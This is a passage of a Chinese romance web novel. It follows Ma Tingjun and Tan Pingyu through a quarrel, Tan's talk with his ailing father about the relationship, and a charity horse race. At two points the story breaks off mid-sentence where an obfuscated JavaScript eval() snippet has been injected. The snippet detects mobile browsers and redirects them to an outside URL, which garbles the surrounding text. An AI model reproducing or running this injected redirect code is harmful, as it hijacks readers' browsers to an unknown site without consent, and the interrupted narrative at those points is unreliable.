这时候他光是痴痴地张着嘴,不知道有多么蠢。说来谈凭玉就是对笨一些的男人情有独钟?他未免太笨了,可惜挪不开眼睛,反省也不知道从哪里开始。 谈凭玉不知道所以然,当他早早预备好,一小勺热可可灌进他的喉咙,他却呛得死去活来。 “烫了?”谈凭玉再低头细细吹着,睫毛往下搭,好似两扇蝴蝶翅膀。 麻霆君不敢承认,趁他看向自己,好不容易点点头。 有一句格言,“大丈夫能屈能伸”,套在他身上,简直把他骂得狗血淋头。他确实能屈能伸,然而屈伸得不合时宜,步步错。 又有一句,“开弓没有回头箭”,他有多么爱俞平,便有多么恨谈凭玉,哪怕知道他们是一个人,恨意一时半会也难以消除。才向谈凭玉示威到一半,所以硬着头皮也要讲完。 然而不知道从哪里开口,看谈凭玉生得太美—— 骗就骗了! “平儿宝贝,宝贝平儿。”他心里发毛,妄图蒙混过关,“你在鹭镇有没有生过病?” 谈凭玉长叹一口气,敲了敲瓷杯,道:“我记得是你号称要追求我,弄到最后,连我生没生过病都不清楚?” 麻霆君急中生智,为自己找补,道:“我觉得这种场景很温馨,我想我们之前也有过。” 否则真是跳进黄河洗不清。他看谈凭玉必然识破了他,又傻乎乎地微笑,套近乎道:“就算你没生过病,我也一定照顾过你吧?” 谈凭玉道:“如果要提晚上那套,还是免了。” 麻霆君借机捉他的手腕,他反清脆一掌把麻霆君拍落了,继而慢条斯理搅着杯中铁匙,余光见麻霆君翘首以盼的模样,暗笑一声,仰头把热可可一饮而尽。 麻霆君一愣。他怕麻霆君看穿他心情好,抬腕看了表。 麻霆君吃瘪得雪上加霜,心中不乏懊恼,带些此地无银三百两的意味,关怀道:“你很忙吗?” 谈凭玉嗤笑道:“我是个骗子,把你从头骗到脚,你怎么还来关心我?” “你——” 麻霆君正要说些冠冕堂皇的话语,一双狐狸眼睛迎面而来,忽闪忽闪,立刻蛊惑得底线尽失了。偏又被他激将起来,只好坚持道,“我说过了,我害怕再被你骗,需要重新考虑我们的关系……我需要一点时间静一静。” 谈凭玉淡淡道:“不相信就不相信,我找别人过。” 麻霆君急匆匆道一声“不行”,看谈凭玉笑眼盈盈,顿时觉得自己太窝囊。他从前意气风发,现在哪有半点志气?姑且不论与谈四爷相称,自己心里一关都无法迈过。 在鹭镇,不说成就非凡,好歹铁骨铮铮;来到枢城,面对花花世界,他没有一次低过头。 就当他爱谈凭玉,爱得昏天黑地了,也不能失了应有的坚持。譬如他不愿做名义上的谈四奶奶,失了姓名,他不能没有骨气! 却看谈凭玉低着头,轻轻叹一口气,吐几分真情:“霆君,之前是我不好,我想你是爱我的,所以没有处处尊重……可我那时确实没办法坦白,我家里很乱,怕你知道了乱着急,祸水东引。” “你怕波及到我?”麻霆君眼前一亮,“你怕?你真的怕?看不出来,你还挺在乎我的?” 趁谈凭玉迟钝着,他忙撑着床头坐起,牵着谈凭玉的衣摆,道:“我知道你脸皮薄,你跟我讲实话,你心里到底怎么想的?其实你是不是也很爱很爱我?” 这般一语中的,谈凭玉面上挂不住,手忙脚乱要挣脱。麻霆君苦苦盼来他耳垂泛红,岂允许他轻易逃了,干脆把他压在身下,拼尽全力,尝出他舌尖残余的巧克力味。 谈凭玉艰难道:“麻霆君,你真是狗啊!” 麻霆君把他吃干抹净,笑道:“嗳,我当然是狗。放眼全枢城,谁不是四爷的狗?” 谈凭玉要开口,又被他亲几下,一时怒火攻心,道:“你滚吧!我要独身一辈子。” “哎呀!讲你两句就翻脸,性情这么恶劣就算了,之前还骗我,我怎么有信心和你在一起?” 麻霆君把他鼻尖弹得更红,得寸进尺道,“你稍微对我好一点,这样我回心转意的机会就高一些,明白吗?” 再要吻谈凭玉——不料舌尖吃着痛,理智胜不过身体条件反射,姑且推开了谈凭玉。谈凭玉从他身下钻出,他才反应过来,道:“你咬我!” 谈凭玉不应,一把将外套甩在肩上,意欲夺门而出。 麻霆君朝他背影喊:“你爱我,是不是!” “你还不如死了!” “四爷嘴好硬!” 谈凭玉愤然砸上了门。他快意躺平在床,管自己狂笑。 * 单龙侯在门口,不知道里头天翻地覆。忽然听见一阵急匆匆的脚步,见谈凭玉来的雷厉风行,脸色不好,却有一抹诡异的红。便笑道:“都说小别胜新婚,四爷怎么气成这样?” 谈凭玉没停顿,朝外面赶,道:“叫柏庄的把麻霆君赶出去,一秒钟都不许他多留!” 单龙看热闹看得再上头了,胳膊肘不会向外拐。然而一时难以摆出气愤的样子,只好干笑两声,帮腔道:“哎呀,那姓麻的狗胆包天。” 谈凭玉嘟囔着骂几句,一脚跨上车。后座飘来一股火药星子味,不看便知是他气得七窍生烟。 单龙帮忙把车门关安稳,唤来侍者,低声嘱咐着让麻霆君安生休息,好酒好菜备着。上车后再作一派歌舞升平,佯装没有背叛谈凭玉一样,照例问道: “四爷,去哪里?” “回家。” 谈家今年还算平稳,父亲生病更重,由三奶奶主持家事。四奶奶患疯病、谈行一体弱,都康健不少,母子二人时常出门散心。也就谈皎更不像个活人了,掌到权的鬼。 谈文翡与严太太远赴东洋,便是不动声色地与谈家割席了。谈文翡与谈行一倒是常通书信,就当一切风平浪静,总归算作丑闻一桩。社交场合,大家见面了三缄其口,却看他们眨眼睛就知道要说什么话,装作一团和气。 到年底回顾,仿佛只有他谈凭玉身上才有个大新闻。他不免觉得讽刺,微微一笑。 单龙当他消气,试探道:“四爷,之前兰竹向我透露,老爷很关心你。” 他话说到这里便咬断了。谈凭玉倚着车门,一点路灯的光斑,随行车浮沉在他的脸上。 父亲难得有言语上的关心。人到老年,唯独期盼天伦之乐,等新的生命冲散谈家的死气沉沉。其实也是些爪牙退化后的慈眉善目,担忧病床前无孝子。 但是父亲对他非常不薄——他先前为了向谈皎表态,与一切人物割了席,这时候思维转不过弯,便不多言语。 单龙瞥一眼前视镜,又道:“郁小姐常来家里做客,陪三奶奶打麻将,陪四奶奶和行一少爷去公园,有时见老爷。大家都关心你,也都听过你的风言风语,说是不喜欢女人……郁小姐没办法说谎。” 这郁蕙心!必然是一五一十将他出卖了。谈凭玉一拍座椅,单龙便笑道:“四爷别心急。” 谈凭玉才道:“爸爸知道麻霆君了?” “老爷连鹭镇都不知道。光听传闻,以为你与一位男花魁相好。就为这事,他去年还耿耿于怀,今年早释然了,怕你介意他打探你隐私,装着不知道。” 单龙道,“四爷你也装不知道,否则我和兰竹没办法交差,以后再有什么八卦,他们都不来通知了。” 柏庄离家近,方向盘拐几轮,远远看见谈公馆的影子。公馆区分布格外空旷,所以风也格外得大。见是四少爷回家,佣人们更加热情,一个个来问好。 谈凭玉上楼见父亲。门口有丫鬟看门,听他大驾光临,打盹中惊醒,敲门向里面通报。里面再向里面通报。细碎脚步没有停过,不久后另一个丫鬟钻出来,朝谈凭玉甜甜一笑:“四少爷,老爷请您进去。” 父亲躺在床上,一群丫头婆子围在床边,伺候他喝汤药。坐得稍微高一些的是谈三奶奶,谈凭玉点头,道:“姨娘。” “凭玉来了。”三奶奶也笑。言下散了众人,再把谈老爷唤起来。 被褥下一段苍老的身形慢慢直起,像古树的树根,与谈凭玉记忆中父亲的形象大相径庭。他心里更加不信,不相信自己身上承着他的血脉。走上前去,自发接替了丫鬟的活,吹凉一碗参汤,一小匙一小匙喂着。 小半碗下肚,谈老爷方才喑哑道:“凭玉……这次回家住多久?” “凭玉难得回来,多住一会不好?听着倒像要赶他走。”三奶奶道,“凭玉——凭玉你别听他胡说八道。” 老爷笑道:“你也是胡说,我哪舍得他走!” 谈凭玉温和一笑,道:“起码过完年,也许还要再晚一些,等枢城倒春寒了再走。” 老爷道:“哦,看来香岛被你经营得不错?” 谈凭玉道:“是还好,主要是爸爸的根基扎得稳。” 三奶奶搭着他的手腕,转翡翠扳指来看,道:“难得有时间,再多和你爸爸讲点。” 生意场上总归大差不差,没有新鲜事,不宜在父亲身体抱恙时候讲;提麻霆君只会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15415710|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把父亲的病雪上加霜,何况单龙保守秘密,他只能没话找话,道:“我代行一去商会几次,还是不大适应,所以联系了香岛的商学院,明年更加忙了。” 三奶奶道:“行一又不去商会?” “是。”谈凭玉告状道,“他叫文翡给他寄游戏机,哪有空去商会?” 大家都笑。笑过之后,有一种诡异的冷清。两个长辈面面相觑,不肯开金口。谈凭玉更不愿面对,便做一个孝子,慢慢吞吞地搅参汤,却见碗底锃亮。倒是闻出几分热可可的气息。 老爷终于道:“小凭玉,你也到结婚的年纪了。” 三奶奶看谈凭玉眼色,候着时间圆场。谈凭玉不愿错过良机,与他们两双眼睛都打过招呼,承认道:“爸爸,三姨娘,我确实恋爱了。” 此话一出,多少有了几分僵硬的释然。三奶奶捏他手腕更紧。老爷半开玩笑,道:“那花魁会讲国语嚜,我们家是不是以后每天都要,‘哈依哈依’?” “您少听外面人瞎讲,他不是花魁。”谈凭玉不肯讲完整,只道,“我们之前就认识,最近在商会又遇到了。一来二去,联系多了,再开始恋爱。” 这回是真当释然了,笑容都从容不少。三奶奶欣喜道:“哦,这是新式婚姻的开头了。” 老爷笑道:“不错,他也做生意?” “二哥早年甩脱一家银行,被他承下来,但是做不好,年年亏钱。” 谈凭玉低头一笑,道,“二哥都做不下去,他更没本领,每天入不敷出的,车都抵押给别人了。” 三奶奶感动道:“这么上进的男小囡,不容易!老谈,我说凭玉的眼光不会差,看我不是说中了?” 老爷也感慨颇多,忽然道:“既然他能联系上文翡,他是哪一户,爸爸认识吗?” 谈凭玉道:“他不是枢城人。” 老爷愣道:“什么?” 谈凭玉当是父亲没听清,再重复一遍。不料老爷当即翻了脸,道:“嗳,外地人不好的。” 谈凭玉窘迫道:“爸爸!” 老爷往边上挪了几寸,被单摩挲沙拉拉响。末了眼睛一锁,道:“男女无所谓,只要你喜欢就好;穷一点苦一点都不算数,谁有我们家光鲜?可你不找枢城人,找个外地的——” 他讲到一半咳嗽起来,三奶奶埋怨一眼谈凭玉,动身端水来。谈凭玉接过她手里的茶杯,又要尽孝,老爷一掌推开茶杯,一轮水柱泼洒在地毯上。 他怒道:“谈凭玉!实话说,我半只脚踏进棺材了,指不定哪天见到你娘。她若是问起你,说你娶进来个外地人,叫我怎么开口?” 三奶奶着急道:“老爷,这种话不好讲的,讲多了招晦气!” 又道:“凭玉,你说你!” 谈凭玉道:“爸爸,三姨娘,哪有这么严重?” 老爷坚持道:“不行,不行。” “是没这个道理。”三奶奶也帮腔,“我看问题出在香岛上,那指甲盖大小一点地,都是洋人,生生把你带坏了!明年就留在家里,姨娘帮你物色青年才俊。” 谈凭玉无助道:“他是鹭镇的,离枢城很近呢!年后江南再划分,要把鹭镇也包括进去。” 老爷冷哼一声,道:“听都没听说过。” 谈凭玉无可奈何,只好撒娇,道:“爸爸,三姨娘,他很不容易的,人也好。” 他故意低着头,察出气氛有所缓和,再示弱,道:“我真的很喜欢他。” 三奶奶道:“更不好了!就是我们凭玉最单纯,遇到个心眼最多的,不知道他怎么花言巧语骗着小玉。若真是成了,再过十年二十年,谈家要跟他姓了!” 谈凭玉顷刻破了功,道:“不会!三姨娘,他不是这种人!” 三奶奶道:“你说不是就不是?这种人我见得多了!” 老爷紧锁的眉头有半分舒缓,勉为其难睁一只眼:“好了,不管是不是,你先带他来见见我们。” 三奶奶心中有气,不想老爷先退缩,勉强道:“你爸爸讲得也对,不管他怎么样,先带回家看看。” 这一来一往,大家都有所让步,老爷十分满足,却看谈凭玉面露难色,立刻把事情往最坏处想了,道:“干什么?是你没脸带他见我,还是他连我都不敢见?” 谈凭玉只好道:“我和他最近有些矛盾……” 老爷惊骇道:“矛盾!反了他了!敢和你有矛盾?” 末了气血上涌,险些喘不过气。三奶奶拍他的后背舒缓,继而哀哀地看一眼谈凭玉,多少有些恨铁不成钢。谈凭玉心里发毛,找个借口,灰溜溜地出了门。 他找到个电话。从口袋里摸出一张叠好的纸条,郑重拨了平渝银行的号码。 无人接听。 92.癔症 近来流行赛马。枢城因由在枢纽,东西中外的地方都不缺,赛马场座落在江东深处,从谈公馆开车出发,正好半个钟头。 才是阴历上跨完年,谈皎打着谈行一的名义邀请一众名流,办慈善马会。她自己却不知道躲在哪里寻清净,全权交给弟弟们负责,逼得谈行一舍下心爱的游戏机。 他们在看台上最好的一件包厢,宾客们辅一到达,先要来同东道主打招呼。 谈行一待人接物有一套自己的道理,遇上喜欢的多聊几句,不喜欢的立刻装病,软绵绵地倒下。亏是他自小体弱多病的形象深入人心,就算前头把人真得罪了,也是三爷的身体重要,作无事发生。 谈凭玉便顺理成章被他赶出来扮笑脸。 轮给谈凭玉招呼的都是经筛选来的,人品多少堪忧。跟来的丫鬟婆子们都皱眉头,说是谈行一心大,不怕四少爷遭人惦记—— “四爷这般俊美?难怪老爷要像防小姐见人似的防着。我看,莫不是东洋花魁魅惑众生,狸猫换了太子,现在轮到我面前的究竟是四爷,还是花魁?” “我听说四爷好男色,不如从了我。我自愿入赘谈家,不过你要跟我冠夫姓,过年也是留在我家尽孝。” 如此声音不绝入耳,谈凭玉招架不过,找单龙当盾牌。好不容易有喘口气的功夫,他倚着阑干吹冷风。谈行一掀帘子,阴魂不散地从包厢飘出来,靠在他的身上。 “你男人呢?” “什么话?” 谈行一嗤笑一声,道:“都恨不得搬个望远镜找人了,不是你男人被你暗度陈仓地请过来,难道是开窍了,物色一位本地良人?” 谈凭玉皱眉道:“瞎讲。” 谈行一笑道:“嗳,这几天你是轻松,号称在商会帮忙,不知道三姨娘多么愁,头发都白了一半,别人关心也不敢讲,毕竟要帮你瞒着。否则流传开,严太太也要被你气回来棒打鸳鸳了。” 谈凭玉被他说得心虚,又羞愤又急,干脆拧他的脸。他更是要叫:“找个外地郎君,那人没卑躬屈膝来伺候你就罢了,还和你闹矛盾——得亏外头的人都叫你四爷。四爷,你还当不当四爷?” 谈凭玉道:“你少添乱!” 眼见谈老爷来凑他们的热闹,谈行一卯足劲推开他,一把扑在父亲怀里,道:“爸爸,凭玉害我又头疼!” 随行丫鬟被谈行一一扑,惊掉了拐杖,急忙蹲下身捡。 谈凭玉胡乱喘过气,拍着衣摆。老爷在家静养许久,精神气好不容易有所恢复,再被谈凭玉的恋情折损大半。这时候倒是看着喜气洋洋,落在一张永远阴桀的脸上,不大相配。 他不当裁判,只道:“行一,凭玉,你们押了哪匹马?” 谈行一便道:“好像都是说七号快。” 老爷道:“我想也是,七号血统正。” 说是要叫他定夺,然而四个儿女里,他先押谈文翡,再赌了谈凭玉,到头来一个都不准。一想至此,他挂一抹哀愁的微笑,轻轻拍了谈行一的头,又道:“不过我看东西不准,你往反的买。” 谈行一就算懂也不愿懂父亲的伤春悲秋,明朗地微笑着。 谈凭玉看不惯他岁月静好,打岔道:“你不是买了很多?趁没开票,好下去换了,否则亏死。” 像谈行一这样领空饷的阔家子弟,赌马到底是个为了兴致,芝麻大小的盈亏,犯不着往楼下跑一趟。他不但懒得动,先前掏的还是谈凭玉的钱包,撺掇起父亲,道:“叫凭玉去。” 老爷道:“凭玉还没买?” 谈行一咯咯笑着:“凭玉在楼上挑男人,哪有空挑马?换完三号,把那外地郎君也带上来么。” 谈凭玉听着要晕厥。他这个哥哥自幼身体不好,因此被姨娘们照顾在身边,牌桌上一轮轮看下来的,不知道有多么刻薄。 幸而他也厌倦人际交往,刚好下楼避世。便不反驳,披了围巾,管自己快步下楼。 买彩票的木屋离看台远,边上搭木桌,卖点心饮料。谈凭玉用特权,直接上到柜台前,把谈行一买的彩票全都换了,再多买了些。虽是在鹭镇节衣缩食过一阵,近来做回四爷,难免复发花钱大手大脚的毛病,胡乱押出了一个天文数字。 外头青年才俊三三两两簇拥在一起,贪婪着冬日暖阳。他先前不抱希望,遭谈行一一提,真存了几分侥幸,把翡翠扳指握在手心里,试图找出一个熟悉的身影。 混迹在谈笑声里,总有一些不合时宜的声音: “我听不明白了。一会说你太太前几天突然死而复生,一会又说你太太是个男的,到底想怎样?跟这种人做生意,做着做着要去蹲监狱了。” “我太太一直是男的,解释来解释去太麻烦,才讲‘太太’。” “好,就当我们有误会,可你这鳏夫的名号远近闻名,男太太死了怎么能复活?甄老板,他有癔症?” “不是!” 谈凭玉搭上一边宽阔的肩膀,笑道:“我的行长,有闲心来赌马?” 一阵冷风碰巧掠过,麻霆君打个寒噤。 他身后两个人,一位是甄展,另一位看着眼生。谈凭玉必然没见过他,他也情不自禁朝谈凭玉多看几眼,看到麻霆君心慌,挪着步子把谈凭玉挡了大半。 谈凭玉伺机衔着麻霆君的耳垂,大庭广众下讲小话:“谁啊?” “一个客户,甄展介绍给我的。甄展你总认得?你还和我提起过他。” 麻霆君小声补充道,“我才不赌马。他要赌,我谈生意,所以一道来的。” 谈凭玉戳他后背,道:“也没人问过你是不是染上赌马了吧。” 他便道:“我是怕你误会。” 谈凭玉道:“赌马而已,赌的掉几个钱。” 做回四爷了就是不一般!麻霆君无言以对,长长出一口气。甄展与客户都不适应谈凭玉的艳光四射,不及他如鱼得水。他抓紧时间,又学谈凭玉阴阳怪气,道:“四爷有情调,小赌怡情。” 谈凭玉轻笑道:“你不知道?比赛是我家办的。” 真是一点也比不了!麻霆君虽是吃着瘪,心里有一种不可言说的高兴。 等客户总算反应过来,擦干净口角唾沫,朝谈凭玉伸出手,两眼发光:“鄙人姓曹,不知道阁下贵姓?” 谈凭玉同他握手,笑道:“谈。” 大大方方的,也不免贵,倒真是挺贵。曹老板迟觉手心一凉,低头向下看,拇指上一抹绿直冲眼底而去,雷电似的在他心里炸开,急忙向后跳。 心里顿时悔恨,又觉得情有可原:谁会看谈凭玉戴什么珠宝?但凡有点精力,都留存在他的眼眸之间了。 他结结巴巴道:“四……四爷。” 曹老板不比看台上来的宾客,好应付得不是一星半点,谈凭玉与他客套几句。麻霆君也稍有松懈,不大保护着他,放松地侧身站着。 那三人间笑声阵阵,都有些拘束。甄展不动声色,却看其间唯独二人眉来眼去——基于这几年对麻霆君的认识,心里把前因后果猜了个大概。反正谈凭玉不对自己抛媚眼。 曹老板是真粗枝大叶,只知道俞行长入商会,求四爷开后门,琢磨不出更深层次的含义。 头一回见谈四爷大驾光临,他不想做背景,把麻霆君揽到身边,夸大地表现道:“四爷,我这朋友有本领,太太死了三年,上月刚从坟墓里爬出来了!” 谈凭玉故意道:“开玩笑也不必如此,人怎么能死而复生?” 麻霆君望他一眼,他假笑片刻。 曹老板不知情,语气更加急,道:“四爷,千真万确!” 麻霆君才支吾着,突然往前踉跄,直往谈凭玉怀里钻。原是曹老板推的他。他才要回头,见曹老板眉毛一竖,道:“俞霆,我要说你了,和我们不是很能吹嘘?现在四爷在,快和四爷讲一讲。” 谈凭玉顺势搭上麻霆君,道:“行长怎么有太太?上次在商会也不告诉我,是不是不想补我一顿喜酒?” 麻霆君道:“我们是扮家家,不作数的。” 谈凭玉便道:“那么,死而复生的事情,算怎么一码事?” 麻霆君皮笑肉不笑,道:“算我有癔症。” 甄展自然倒向四爷,横插一脚,笑道:“我敢担保俞行长说得都是真的,只是天机不可泄露,偏偏这里人多手杂。四爷若是真好奇,不如寻个清净的地?” 谈凭玉拖长音道:“就怕行长害怕我,不敢和我空谈天。” “哪里的话?他最喜欢讲他和太太伉俪情深,我们几个听得耳朵都出茧子。” 甄展也推麻霆君,道,“阿霆,你好好和四爷表现。” 为了一个子虚乌有的“四爷”的名头,就这么把现实里的朋友出卖了。麻霆君与他们摆脸色,心里实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425737|149246||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 际上比谁都高兴,装模作样地拒绝一阵,终于如愿以偿被谈凭玉拐了走。 都有些风浪前的平静,谁也不肯先开口。绕着操场往看台的反方向走,逐渐连太阳都晒不到,所以更加冷清。一同躲在榕树背后。 麻霆君率先道:“四爷今天大发慈悲,居然把我的手脚捆在一起。” 挑事便是要有个欠揍的模样,他死死闭着眼睛,手指在眼皮上重重点了几下,又道:“四爷看清楚了?眼睛是我自愿闭上的,剩一条飘带的钱,多买一张彩票。” 谈凭玉不响。麻霆君一拳打在棉花上,鼻尖吃冷风阵阵,自己先熬不住,才做贼似的睁开一只眼。 谈凭玉却是一丝不苟地盯着他,盯至他脸红心慌——这几年怎么做的四爷?这么好的时机,也没个吻?他厌弃往昔恨不得给谈凭玉做狗的自己,也想恃宠而骄,便万万拉不下脸先求和。 可惜眼睛已经睁开了,他只好很没风度地挑事道:“四爷怎么想的?这么冷的天气,人都要冻成冰棍,突发奇想办赛马会,莫不是嫌大家身子骨太好?” 谈凭玉双手抱胸,冷冰冰地道:“你意见很大?” 麻霆君一见他翻脸,怕一劳永逸地失去他的吻,立刻软和下来,道:“没有,没有。我也就随便说说。” 说完也觉得自己太窝囊,咽不下这口气,强硬地扳下嘴角,教育道:“四爷,我们好不容易在阳间团聚,怎么你一点也不珍惜?” 谈凭玉鄙夷扫他一眼,才道:“什么叫在阳间团聚?” 麻霆君怕他眼神,支吾着不肯讲,忍不住打个哆嗦。他看麻霆君也无奈,主动卸了围巾,细心帮麻霆君佩戴上。 麻霆君立刻感受到自己脸又红了,一双狗耳朵几欲萌芽。 “四爷你想:我,麻霆君,死了;你,俞平,你自己说也死了。” 这话在心里酝酿许久,原本用作索命,一经谈凭玉难得的温柔乡,立刻像撒娇,“但是我是有坟墓的,风水宝地,正规请人看过。” 谈凭玉冷笑道:“五爷真讲究啊。” 他看谈凭玉脸色差,话锋一转:“谈凭玉是死是活不清楚,我好不容易下决心追求你,他又活过来了——你不知道,那段时间我有多么的害怕!” 谈凭玉牵他的手,背至自己身后,刮着皮带边沿向下。他不挣扎不反驳,先要过手瘾,不轻不重捏一把。谈凭玉由他乱来,道:“反正晚上不怕?” 麻霆君才缩回手,两个人四目相对,他怕擦枪走火,连拽带挽地把人挪出树荫。原以为阳光下总算有人监督,依旧冷清,才知道是比赛要开始,大家都去起跑线凑热闹。 眼见四下无人,谈凭玉飞快朝麻霆君的脸颊上亲一口,像是讲一句悄悄话,叫麻霆君反应不过。 待麻霆君来扪他下巴,他向后退一步,笑道:“你怎么好碰我的?我可不想勾搭有夫之夫。” “偏要惹我。”麻霆君耳廓倏地发烫,不好被看穿,低低地埋怨着,往谈凭玉身上捏。 谈凭玉由他胡来,含糊地道:“唉呀,五爷,摸这里最痒了,不知道?” 麻霆君号称要有骨气,却实在忍耐不住,借机搂着谈凭玉,也不忌惮,难舍难分地吻在一起。场上吹哨预备,一声哨响打断他们,再各往边上分一步,充无事发生。 沉默半晌。 谈凭玉靠过来,道:“嗳,号称一直往枢城跑,枢城话会讲几句?” 麻霆君道:“我又不是枢城人,怎么会讲方言?四爷是把我同俞平混淆了。可惜我麻霆君向来堂堂正正,不当职业情人。” 谈凭玉笑道:“今天火药味这么重,是谁惹的你?朝我发泄来了。” 麻霆君赌气道:“俞平惹的我,俞平勾搭有夫之夫。” 谈凭玉便道:“那么,你搬来谈公馆,我叫俞平对你负责到底。” 麻霆君敷衍一笑。他又道:“麻霆君,你说要考虑和我的关系,考虑得怎么样了?” 自他离开鹭镇,虽是至此断了联系,也没人承认正式分了手,便也称不上是破镜重圆,不过是为了互相的欺骗赌气。麻霆君爱他不假,也信他爱自己——正是如此,想让他也哄一哄自己,哄得尽兴了再提。 正要开口,有匹马掠过二人身前,惊起一捧烟尘。麻霆君眯眼看清楚,借机道:“如果七号能领先到底,不如我们给彼此一个机会,重新开始?” 93.怡情 谈凭玉道:“你押的七号?” 麻霆君点点头。谈凭玉摸出一叠彩票,在他眼前晃了晃,道:“要是七号跑不快,岂不是不开始了?我买的三号。” 他一愣:“那群少爷小姐看着很懂,都说七号好,说到三号的主人没底气,想退出押注。你怎么想的,买三号?” 谈凭玉懂赛马不假,懂的是香岛的旧英国式。到了枢城发觉规则变得厉害,压根不懂这洋泾浜式赛马;换在麻霆君面前,却装十拿九稳,轻佻地道:“否则怎么赚钱?” 麻霆君“哎”一声出气,急忙往木屋的方向转身,踩出一步,才想起开赛了便不让再买,只有悻悻,道:“你们家都买三号,必然是三号赢了……也不早点来告诉我。” 谈凭玉挑眉道:“来了的都要上看台和我家问好,我一直在,怎么没看见你?” 麻霆君支支吾吾,道:“嗳,我能混进来就不错了,哪有资格见你?我还不想被赶出去。” 谈凭玉低头笑一声,把手上一叠彩票分类好,归自己的一沓交在麻霆君手里,道:“我赢来的都给你。这总好了。” 麻霆君暗暗吃一惊,怕反应不过来时已被笑话一通,更不敢与谈凭玉对视。 他发怵时候,手里的彩票简直越捏越厚。看上面的数字,怎么能买这么多?有钱也经不起这般糟蹋。 立刻回想起从前在鹭镇上做少爷的日子,为搏谈凭玉一笑,拼了命地示好,竟是小巫见大巫,兴许还没谈凭玉随手的押注多? 但是谈凭玉受这么多物质上的委屈,仍旧欣然与自己做了恋人。那么,谈凭玉是真的爱自己?一想至此,麻霆君有些得意,立刻顾不上虚无的尊严与骨气,搂着谈凭玉的肩膀。 谈凭玉由他揩油,往他胸前贴。 他心里大喜,强撑平静,照搬那群少爷小姐们的博学多才,朝谈凭玉班门弄斧,道:“赛马赛到最后,比的是骑手。俞平,你看——” 这称呼顺其自然脱了口,才意识到口误。麻霆君心跳得激烈,又抑制不住,实在是愧疚。便沉默着。 但是谈凭玉真应了一声。他心虚,为谈凭玉拂去碎发,看谈凭玉的瞳孔透亮,也不奇怪自己先前怎么爱得死去活来,又哑口无言上了。 他充满歉意一笑,道:“凭玉。” 谈凭玉也向他笑,道:“俞霆行长,我同你非亲非故,你还欠我钱——凭玉是你能叫的?” 一盆冷水淋头,麻霆君自然心如死灰,再年轻几岁真是要哭出来了;年岁长了倒还好,没太多心绪波动,垂下手,尽可能不去碰谈凭玉,道:“我不叫了,四爷,我犯错。” 谈凭玉反而来挽他,学他往日的口吻说话:“俞霆不算数,但如果是我的霆君宝贝,宝贝霆君,想叫什么都可以。” 麻霆君明白这是最大的让步,理应要高兴。然而低落心绪还没散干净,依旧委屈:“说实话,我只想找个伴侣,安生过日子。就算要赚钱,不是非泼天富贵不可。” “怎么?我们家太有钱,你没底气欺负我了?”谈凭玉嘲讽一笑,道,“还是你喜欢救风尘?” 麻霆君委屈道:“乱冤枉人!以前不知道你是四爷,哪里短过你?我一直是把你当皇帝供着的……我以前多喜欢你。” 谈凭玉道:“现在呢?” 麻霆君犹豫道:“择偶讲究门当户对,我家和你家差得太远……我不信你不看家庭条件,若我只是鹭镇上一介农夫,小商小贩,我想你也看不上我。” 谈凭玉冷哼一声,道:“瞎讲,颜青也喜欢我,比你有钱,住得还离我家近。我可没答应他。” “颜青不作数的。” “你不喜欢我就说不喜欢,讲这么多。” “没有不喜欢。”麻霆君看模样有些窘,又道,“说是豪门水深,你家是豪门中的豪门,我是只旱鸭子。” 谈凭玉道:“麻家在鹭镇也算豪门中的豪门了。我一个做长工的,和你天壤之别,你照样来追求我,怎么现在怕了?” 麻霆君道:“我们家没你想得这么有本领。” 谈凭玉便夺下他手里彩票,气鼓鼓地道:“还给我,你没机会了。” 换做以前,但凡谈凭玉开口,刀山火海,他都不在话下;在枢城摸爬滚打三年,形形色色的厉害人物见了太多,又有失去爱人的痛苦火上浇油,早不是原先意气风发的少年郎了,唯独求一点稳妥。这时候也不做挣扎,只叹气。 谈凭玉看他可怜,又扑哧一笑,再规整叠好,塞进他的裤袋。他捉住谈凭玉的手,道:“你拿回去吧,要真是押得中,应该能赚挺多。” 谈凭玉道:“我赚够你的利息了,是该还你点。” 麻霆君收了。继而相继无言地偎了一阵。 赛马正进行至第三圈,原是瓮中捉鳖的局面有不少波折,惹得一众青年才俊议论纷纷。 麻霆君耐不住寂寞,循声看去,竟然三号领先在前面。又看到押错的人气急败坏,恨不得亲自代替赛马比赛。然而谈凭玉在他怀里站的安稳,笑也吝惜。 “嗳,真是三号跑得快,你们家怎么看出来的?”他搭上谈凭玉的腰。 谈凭玉抬眼看他,背后九只狐狸尾巴若有似无,无言地朝他讨一个吻——他忙尴尬一笑打破,道:“四爷不妨透露些赚钱的风口,叫我也分一杯羹?” 谈凭玉一个白眼甩来,却是靠他更紧,吮他的耳垂:“我怎么记得有人说‘七号快,重新开始’,看来我们没戏了。” 麻霆君孩子气地戳他的手臂,拖长音道:“不好嘛——” 谈凭玉道:“怎么不好?我觉得很不错呢。” 到底心里还是喜欢得不得了的。麻霆君要叫他,一句“平儿”险些脱口,碍于关系尚不明确,生生咽下去;“谈凭玉”太生疏;“凭玉”才被打回来;“四爷”也叫不得;“俞平”更是死路一条; 一时间莫衷一是,光有舌头打结。 谈凭玉看他犯傻,笑道:“又要讲什么?我猜一猜:是不是早在外面有了新欢,怕得罪我四爷,才一直遮遮掩掩地不肯开口?” 麻霆君心急,道:“怎么老往这方面想?我看是你在香岛有了新欢,来探我口风了。” 